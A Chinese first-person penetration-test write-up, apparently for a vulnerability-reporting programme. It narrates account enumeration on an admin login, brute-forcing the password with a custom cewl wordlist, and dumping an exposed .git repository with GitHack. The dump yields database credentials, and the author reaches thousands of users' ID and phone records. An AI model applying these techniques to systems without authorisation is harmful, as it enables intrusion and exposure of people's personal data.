不过我这次日志信息量虽然很大,且经过我实际尝试也确实会记录我的一些操作信息,但翻遍日志却并貌似不存在敏感信息: 但我发现在日志中泄露了sql语句,貌似可以寻找对应接口,参数拼接成数据包尝试sql注入,但我找遍了日志都没有发现可以直接使用的接口或者代入了sql语句的参数。 不弱的弱口令: 翻找js文件,尝试直接拼接登陆验证接口,和其它查询接口全部失败。 不过根据找到的其它js路径发现其目录结构基本拼接在/syl/下,于是根据经验在目录后拼接admin,系统跳转到后台管理员登陆界面,输入账户为admin页面显示密码错误,输入其它账户页面显示账号不存在,可知账户为admin。 根据页面特征制作字典并加上弱口令top500的内容,尝试爆破成功:密码为页面根路径字母syl+88888888。 这种:syl88888888一看就是弱口令,但如果你只是通过现存的什么top100,top500这种字典是爆破不出来的,所以在进行渗透测试时一定还要根据页面特征,关键字,系统名称首字母等信息制作特定的社工字典尝试。 比如kali自带的cewl工具,便是一种基于爬虫,对页面目录信息进行循环爬取再生成字典的工具。 工具分析文章:https://www.cnblogs.com/jackie-lee/p/16132116.html 成功进入后台。 并发现大量信息泄露: 存在四千多条用户敏感信息泄露。 爬出靶场的高危: 通过dirsearch扫描目录,看有没有结果。 直接扫出来了好几条.git路径,直接访问泄露的路径看不出什么敏感信息。 但很明显站点存在.git信息泄露漏洞,一个我曾经只在ctf技能树复现过的漏洞。 Git就是一个开源的分布式版本控制系统,在执行gitinit初始化目录时会在当前目录下自动创建一个.git目录,用来记录代码的变更记录等,发布代码的时候如果没有把.git这个目录删除而是直接发布到https://cloud.tencent.com/product/cvm/?from_column=20065&from=20065上,那么攻击者就可以通过它来恢复源代码,从而造成信息泄露等一系列的安全问题。 尝试githack进行探测利用(只能python2使用) 工具链接:https://github.com/BugScanTeam/GitHack 该工具基本原理就是解析.git/index文件,找到工程中所有的文件,文件名,再去.git/objects/文件夹下下载对应的文件,并通过zlib解压文件并按原始的目录结构写入源代码 结果我直接把整个git扒了下来,得到站点整套源码,于是通过vscode打开分析: 随意翻找文件,找到mysql数据库账号密码,于是扫描端口发现开启3306,尝试连接,发现似乎做了IP白名单限制,于是放弃。 再翻找文件,发现居然直接把后台部分用户的信息写在了.sql文件内,包含姓名,身份证,电话等信息,不过只有几百条。 此处其实还可以深入对php源码进行审计,发现更多高危漏洞,但我却不会php代审,所以打到这里就收工了,觉得应该可以拿证了。 整个渗透过程很顺利,大概就两三个小时,还是信息搜集做得好,不然都不一定能出成果,同时需要多阅读漏洞挖掘文章,这样在渗透测试过程中才能对漏洞利用更加熟练。